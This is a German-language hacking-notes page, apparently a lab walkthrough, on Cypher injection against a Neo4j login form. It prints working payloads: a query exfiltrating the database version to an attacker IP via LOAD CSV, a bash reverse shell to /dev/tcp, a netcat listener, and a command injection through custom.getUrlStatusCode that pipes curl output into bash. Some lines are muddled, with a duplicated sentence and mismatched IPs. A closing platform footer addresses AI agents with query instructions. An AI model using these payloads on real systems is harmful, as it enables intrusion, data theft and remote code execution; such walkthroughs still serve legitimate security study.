> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md).

# Cypher Neo4j-Injection

## Neo4j-Cypher-Injektion

Ein Login-Formular ist verwundbar. Ein Fehler erscheint, wenn wir eingeben `'`.

<figure><img src="/files/a19fc8def0943d6681224305717584a42035c23a" alt=""><figcaption></figcaption></figure>

Wir injizieren einen Cypher-Payload, um die Version von Neo4j abzurufen:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS versiwe LOAD CSV FROM 'http://10.10.14.90/?v=' + versiwe AS l RETURN 0 AS _0 //",
  "password": "test"
}

```

{% endcode %}

<figure><img src="/files/c5d91d771771868e8cdbdf0efa08310a406d0eec" alt=""><figcaption></figcaption></figure>

Auf unserem Server wird die Anfrage empfangen:

```bash
python3 -m http.server 80
# Cypher Neo4j-Injektion

```

<figure><img src="/files/efa57baa97950f243bd9b6c5038598885a4c8dc0" alt=""><figcaption></figcaption></figure>

### RCE über Aufruf von `custom.getUrlStatusCode()`

<figure><img src="/files/d73b878e88f64fe298fb0b09ed3ce67f3fd92a96" alt=""><figcaption></figcaption></figure>

Wir platzieren eine Reverse Shell in `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1

```

Wir platzieren eine Reverse Shell in `index.html`:

```bash
nc -nlvp 443

```

Verwende die kombinierte Injektion, um dies aufzurufen **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}

```

<figure><img src="/files/798aabe36304b89ced5e2816aae9e63fb8fa12e6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/nosql-attack/cypher-neo4j-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
